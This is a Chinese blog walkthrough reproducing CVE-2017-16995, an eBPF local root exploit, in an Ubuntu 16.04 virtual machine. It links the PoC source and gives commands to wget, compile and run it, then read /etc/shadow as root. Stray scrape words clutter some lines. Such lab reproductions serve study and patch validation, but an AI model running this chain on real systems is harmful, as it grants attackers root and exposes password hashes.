[漏洞復現] CVE-2017-16995 Ubuntu16.04漏洞復現

一、漏洞概述

Ubuntu最新版本16.04存在本地提權漏洞,該漏洞存在於Linux內核帶有的eBPF bpf(2)系統調用中,當用戶提供惡意BPF程序使eBPF驗證器模塊產生計算錯誤,致使任意內存讀寫問題。 ubuntu

***者(普通用戶)能夠利用該漏洞進行提權***,獲取root權限,危害極大。該漏洞編號是CVE-2017-16995,在以前的一些老版本已經修復了,可是在最新的Ubuntu版本中,又出現了這個漏洞,而且Twitter爆出了漏洞利用代碼……ide

目前,主要是Debian和Ubuntu版本受影響,Redhat和CentOS不受影響。spa

影響版本: 
Linux內核:Linux Kernel Version 4.14 ~ 4.4 
Ubuntu版本:16.04.01~ 16.04.04code


二、漏洞復現環境下載

Ubuntu16.04下載:http://old-releases.ubuntu.com/releases/16.04.0/ 
注:這裏我下載的版本是 ubuntu-16.04.3-server-amd64.iso 
POC代碼下載:http://cyseclabs.com/pub/upstream44.c 
注:爲了節省你們實驗時間,本實驗全部環境所有打包到了如下連接=> 
https://pan.baidu.com/s/1rtrSb2R_2SLg8VRRwrYynA 密碼:vowqorm


三、實驗流程

① 下載Ubuntu 16.04 iso鏡像:http://old-releases.ubuntu.com/releases/16.04.0/ 
下載列表裏面有不少版本,考慮到虛擬機體積大小,這裏不適用desktop版本,直接使用server版本。點擊ubuntu-16.04.3-server-amd64.iso能夠直接網頁下載,若速度較慢,可用列表中的torrent文件,用迅雷等軟件下載。server


② 使用VMware製做虛擬機,設置普通用戶帳號密碼(帳號: pinginglab 密碼:pinginglab) 

blog

注:這裏的VMware是MacOS下面的VMware Fushion,跟Windows下面的Vmware Workstation使用流程相似。內存




採用vmware快捷安裝,設置帳號密碼: 
rem


點擊「繼續」,便可建立虛擬機。
get


啓動虛擬機,這裏須要稍等片刻:


③ 使用帳號密碼(pinginglab/pinginglab)登陸虛擬機,進行漏洞復現

使用 id 查看本地用戶組權限:


使用cat /proc/version查看Linux內核版本 :


使用cat /etc/shadow查看帳號密碼(因爲是普通帳號,沒有權限查看) 


使用wget  http://cyseclabs.com/pub/upstream44.c 下載POC代碼 


使用sudo apt install gcc 下載並安裝gcc編譯器 


使用gcc對upstream44.c進行編譯,給予執行權限: 
gcc -o test upstream44.c 
chmod +x test 
ll 



執行test文件,實現本地提權: 
./test 
id 
cat /etc/shadow 




從實驗效果能夠看到,此時用戶從「pinginglab」,切換到「root」,獲取到最高權限,而且能夠查看本地帳號密碼。 

本漏洞復現實驗完成。

相關文章
相關標籤/搜索